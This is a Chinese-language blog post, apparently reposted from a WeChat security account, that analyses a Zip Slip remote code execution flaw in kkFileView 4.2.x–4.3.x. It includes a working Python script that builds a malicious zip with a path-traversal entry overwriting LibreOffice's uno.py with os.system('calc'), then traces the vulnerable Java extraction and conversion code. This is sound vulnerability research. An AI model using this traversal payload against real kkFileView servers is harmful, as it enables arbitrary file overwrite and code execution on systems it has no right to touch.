kkFileView远程代码执行漏洞分析

admin 2024年4月20日00:21:29评论13 views字数 4131阅读13分46秒阅读模式

kkFileView由于前台上传功能在处理压缩包时,从仅获取文件名改为获取文件名及其目录,导致出现了Zip Slip漏洞。这使得攻击者可上传包含恶意代码的压缩包并覆盖系统文件,随后通过调用这些被覆盖的文件实现远程代码执行。

影响版本

v4.2.1~v4.2.0
v4.3.0~v4.40

漏洞复现

复测版本:4.2.1

下载地址:https://github.com/kekingcn/kkFileView/tree/v4.2.1

使用IDEA搭建,并运行

kkFileView远程代码执行漏洞分析

kkFileView远程代码执行漏洞分析

RCE漏洞复现

构造恶意的zip包

import zipfile


def main():
    try:
        binary1 = b'1ue'
        binary2 = b'import osrnos.system('calc')'
        zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test1.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../libreoffice/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

if __name__ == "__main__":
    main()

将zip包上传并预览,路径为我当前本地搭建的,不一定通用

kkFileView远程代码执行漏洞分析

kkFileView远程代码执行漏洞分析

成功将内容写入到了 uno.py

kkFileView远程代码执行漏洞分析

接着上传任意odt后缀的文件,并预览

成功执行弹窗计算器

kkFileView远程代码执行漏洞分析

漏洞分析

根据https://github.com/kekingcn/kkFileView/issues/553 给出的漏洞点分析

关键代码在CompressFileReader 类,该类主要将上传的zip解压,但是解压时获取文件名及其目录,导致可以覆盖任意文件内容和写入任意文件

kkFileView远程代码执行漏洞分析

我们一步步调试看看,下断点

kkFileView远程代码执行漏洞分析

kkFileView远程代码执行漏洞分析

在56行代码中,extractPath为文件路  folderName为上传的zip文件名称

File file = new File(extractPath, folderName + "_" + File.separator + str1);

kkFileView远程代码执行漏洞分析

在57行代码中  判断文件是否为空,为空就创建目录

if (!file.exists()) {  
   file.mkdirs();  
}

kkFileView远程代码执行漏洞分析

接着创建文件流,但是他写入文件是将目录一下写入了,使用../../ 即可导致任意文件内容覆盖

OutputStream out = new FileOutputStream( extractPath+ folderName + "_" + File.separator + str[0], true);

kkFileView远程代码执行漏洞分析

kkFileView远程代码执行漏洞分析

虽然写入文件,但是没有调用uno.py的方法,根据大佬的方法

目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件

接着分析预览odt

OfficeToPdfService类中 将.odt 文件转为PDF文件

kkFileView远程代码执行漏洞分析

kkFileView远程代码执行漏洞分析

并成功执行calc

kkFileView远程代码执行漏洞分析

下面代码就是执行 LibreOffile  

builder.build().convert(inputFile).to(outputFile).execute();

来分析一下 builder

从代码中  builder 是  LocalConverter.Builder 定义的

kkFileView远程代码执行漏洞分析

build

LocalConverter.Builder 类实现  build

public static final class Builder extends AbstractConverterBuilder<LocalConverter.Builder> {  
   private boolean applyDefaultLoadProperties;  
   private boolean useUnsafeQuietUpdate;  
   private LoadDocumentMode loadDocumentMode;  
   private FilterChain filterChain;  
   private Map<String, Object> loadProperties;  
   private Map<String, Object> storeProperties;  

   private Builder() {  
       this.applyDefaultLoadProperties = true;  
       this.useUnsafeQuietUpdate = false;  
       this.loadDocumentMode = LocalConverter.DEFAULT_LOAD_DOCUMENT_MODE;  
  }  

   @NonNull  
   public LocalConverter build() {  
       OfficeManager manager = this.officeManager;   // 表示 Office 应用程序的管理器,负责启动和停止 Office 应用程序实例。
       if (manager == null) {  
           manager = InstalledOfficeManagerHolder.getInstance();  //获取已安装的 OfficeManager 实例。
           if (manager == null) {  
               throw new IllegalStateException("An office manager is required in order to build a converter.");  
          }  
      }  

       Map<String, Object> loadProperties = new HashMap();  
       if (this.applyDefaultLoadProperties) {  
           loadProperties.putAll(LocalConverter.DEFAULT_LOAD_PROPERTIES);  
           if (this.useUnsafeQuietUpdate) {  
               loadProperties.put("UpdateDocMode", Short.valueOf((short)1));  
          }  
      }  

       if (this.loadProperties != null) {  
           loadProperties.putAll(this.loadProperties);  
      }  

       return new LocalConverter(manager, this.formatRegistry == null ? DefaultDocumentFormatRegistry.getInstance() : this.formatRegistry, this.loadDocumentMode, loadProperties, this.storeProperties, this.filterChain);  //JodConverter 提供的一个本地文档转换器,用于在本地执行文档转换任务。
  }

execute()

public void doExecute() throws OfficeException {  
   boolean useStreamAdapters = LocalConverter.this.loadDocumentMode == LoadDocumentMode.REMOTE || LocalConverter.this.loadDocumentMode == LoadDocumentMode.AUTO && LocalConverter.this.officeManager instanceof ExternalOfficeManager;  
   LocalConversionTask task = new LocalConversionTask(this.source, this.target, useStreamAdapters, LocalConverter.this.loadProperties, LocalConverter.this.storeProperties, LocalConverter.this.filterChain);  
   LocalConverter.this.officeManager.execute(task);  
}

kkFileView远程代码执行漏洞分析

这段代码定义了一个名为 doExecute() 的方法,该方法用于执行文档转换任务。让我们逐步分析它:

  1. useStreamAdapters 变量用于确定是否使用流适配器。它的值取决于 LocalConverter 对象的 loadDocumentMode 属性和 officeManager 的类型。

    • 如果 loadDocumentModeREMOTE,或者 loadDocumentModeAUTOofficeManagerExternalOfficeManager 的实例,则设置为 true;否则设置为 false

  2. 创建一个 LocalConversionTask 对象,用于表示本地文档转换任务。构造方法接受源文件、目标文件、是否使用流适配器、加载属性、存储属性和过滤器链等参数。

  3. 使用 officeManager 执行上述创建的文档转换任务 task

总结

OutputStream out = new FileOutputStream( extractPath+ folderName + "_" + File.separator + str[0], true);  使用../../ 即可导致任意文件内容覆盖

builder.build().convert(inputFile).to(outputFile).execute(); 转换pdf是启动了LibreOffile 并执行 C:Users26927DownloadskkFileView-4.2.1serverlibreofficeprogramuno.py 脚本中内容导致RCE

文中漏洞分析可能不准确,个人java水平有限

原文始发于微信公众号(安全逐梦人):kkFileView远程代码执行漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月20日00:21:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   kkFileView远程代码执行漏洞分析https://cn-sec.com/archives/2674397.html

发表评论

匿名网友 填写信息